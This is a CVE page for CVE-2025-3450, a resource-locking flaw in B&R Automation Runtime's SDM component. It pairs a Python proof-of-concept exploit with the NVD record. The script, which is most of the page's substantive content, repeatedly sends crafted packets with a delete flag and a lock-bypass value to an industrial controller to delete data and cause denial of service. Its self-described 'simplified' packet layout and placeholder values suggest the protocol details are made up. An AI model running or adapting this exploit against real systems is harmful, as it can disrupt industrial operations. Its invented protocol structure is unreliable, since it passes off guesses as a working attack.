CVE-2025-3450

# CVE-2025-3450 PoC - B&R Automation Runtime SDM Resource Locking Exploit # Vulnerability: Improper Resource Locking in SDM Component # Impact: Unauthenticated remote data deletion causing DoS # CVSS: 10.0 (Critical) import socket import struct import time TARGET_HOST = "192.168.1.100" # Target B&R Automation Runtime device TARGET_PORT = 443 # SDM service port def build_sdm_exploit_packet(): """ Build a malformed SDM request that exploits improper resource locking. The packet triggers concurrent resource access without proper locking, causing data deletion and DoS. """ # SDM protocol header (simplified) header = b'\x00\x00\x00\x00' # Magic bytes header += struct.pack('>H', 0x0001) # Version header += struct.pack('>H', 0x0040) # Command type: resource operation header += struct.pack('>I', 0x00000001) # Sequence number # Payload: trigger improper locking path payload = b'\x00' * 16 # Session token (none required - PR:N) payload += struct.pack('>I', 0xDEADBEEF) # Resource handle payload += b'\x01' # Delete operation flag payload += b'\xFF\xFF\xFF\xFF' # Invalid lock state to bypass locking packet = header + payload return packet def exploit(): """Send exploit packets to trigger the vulnerability""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) # Send concurrent requests to exploit race condition for i in range(50): packet = build_sdm_exploit_packet() sock.send(packet) time.sleep(0.01) print(f"[*] Exploit sent to {TARGET_HOST}:{TARGET_PORT}") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-3450", "sourceIdentifier": "[email protected]", "published": "2025-10-07T18:15:59.327", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Resource Locking vulnerability in the SDM component of B&R Automation Runtime versions before 6.3 and before Q4.93 may allow an unauthenticated network-based attacker to delete data causing denial of service conditions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-413"}]}], "references": [{"url": "https://www.br-automation.com/fileadmin/SA25P002-f6a69e61.pdf", "source": "[email protected]"}]}}